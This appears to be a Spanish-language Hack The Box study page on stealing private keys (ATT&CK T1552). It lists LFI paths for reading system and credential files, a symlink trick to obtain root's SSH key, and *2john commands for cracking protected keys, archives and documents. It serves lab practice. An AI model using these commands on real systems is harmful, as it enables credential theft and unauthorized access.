Claves privadas
Subtécnica de T1552 Credenciales sin proteger ↗
Robar claves privadas (SSH, certificados .pfx) para autenticarse como su dueño.
Cómo aparece en Hack The Box
Busca id_rsa en los home y backups; si tiene contraseña, ssh2john y a crackear. Un .pfx con contraseña se ataca igual con pfx2john.
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
LFI, SSTI, inyección de comandos y XXE › LFI
Linux
/etc/passwd
/etc/hosts
/proc/self/cmdline
/proc/self/environ
/home/USUARIO/.ssh/id_rsa
/var/www/html/config.php
/etc/nginx/sites-enabled/default
/etc/apache2/sites-enabled/000-default.conf
Escalada de privilegios en Linux › Explotación
Enlace simbólico a un fichero de root
ln -sf /root/.ssh/id_rsa /tmp/fichero_que_copia_root
Identificador de hashes › Crackeo
Extraer hashes de ficheros
zip2john backup.zip > hash.txt
ssh2john id_rsa > hash.txt
keepass2john Database.kdbx > hash.txt
office2john informe.docx > hash.txt
pdf2john documento.pdf > hash.txt
John the Ripper › Más formatos
Certificado .pfx, PDF, Office y GPG
pfx2john cert.pfx > hash.txt
pdf2john doc.pdf > hash.txt
office2john doc.docx > hash.txt
gpg2john clave.asc > hash.txt
Ningún comando coincide.